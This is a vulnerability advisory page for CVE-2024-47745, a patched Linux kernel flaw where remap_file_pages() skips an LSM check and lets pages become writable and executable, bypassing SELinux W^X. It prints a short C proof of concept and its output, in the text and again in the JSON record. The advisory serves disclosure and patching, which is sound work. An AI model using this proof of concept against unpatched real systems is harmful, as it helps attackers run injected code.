GHSA-QPXG-4F92-WW23

Vulnerability from github – Published: 2024-10-21 15:32 – Updated: 2025-11-03 21:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

mm: call the security_mmap_file() LSM hook in remap_file_pages()

The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.

So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); }

$ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-47745"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-670"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-21T13:15:04Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\n\nThe remap_file_pages syscall handler calls do_mmap() directly, which\ndoesn\u0027t contain the LSM security check. And if the process has called\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\nRW pages, this will actually result in remapping the pages to RWX,\nbypassing a W^X policy enforced by SELinux.\n\nSo we should check prot by security_mmap_file LSM hook in the\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\npotentially permits an attacker to bypass a W^X policy enforced by\nSELinux.\n\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\nAIO and can be found in [1].\n\nThe PoC:\n\n$ cat \u003e test.c\n\nint main(void) {\n\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\n\tint mfd = syscall(SYS_memfd_create, \"test\", 0);\n\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\n\t\tMAP_SHARED, mfd, 0);\n\tunsigned int old = syscall(SYS_personality, 0xffffffff);\n\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\n\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\n\tsyscall(SYS_personality, old);\n\t// show the RWX page exists even if W^X policy is enforced\n\tint fd = open(\"/proc/self/maps\", O_RDONLY);\n\tunsigned char buf2[1024];\n\twhile (1) {\n\t\tint ret = read(fd, buf2, 1024);\n\t\tif (ret \u003c= 0) break;\n\t\twrite(1, buf2, ret);\n\t}\n\tclose(fd);\n}\n\n$ gcc test.c -o test\n$ ./test | grep rwx\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\n\n[PM: subject line tweaks]",
  "id": "GHSA-qpxg-4f92-ww23",
  "modified": "2025-11-03T21:31:22Z",
  "published": "2024-10-21T15:32:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47745"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…